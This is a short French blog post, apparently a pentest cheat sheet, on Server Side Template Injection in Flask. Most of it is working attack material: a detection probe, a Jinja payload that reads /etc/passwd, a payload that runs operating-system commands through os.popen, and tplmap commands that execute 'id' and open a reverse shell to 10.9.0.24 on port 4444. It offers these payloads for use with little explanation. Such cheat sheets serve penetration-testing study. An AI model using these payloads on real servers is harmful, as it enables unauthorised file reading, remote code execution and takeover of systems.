Vulnérabilité SSTI

SSTI (Server Side Template Injection)

Pour Flask, on peut vérifier avec


{{2+2}}

Avec un résultat positif (4), on sait que le serveur est vulnérable.

On peut essayer de lire des fichiers avec ce payload

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

ou d’exécuter du code
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}

Pour une liste de payloads

Il existe aussi un outil pour l’automatisation : tplmap

tplmap.py -u ‘http://server/ -d ‘name’ –os-cmd ‘id’ #exploite le paramètre POST ‘name’ et exécute la commande ‘id’.
tplmap.py -u http://server -d ‘name’ –reverse-shell 10.9.0.24 4444

Leave a Reply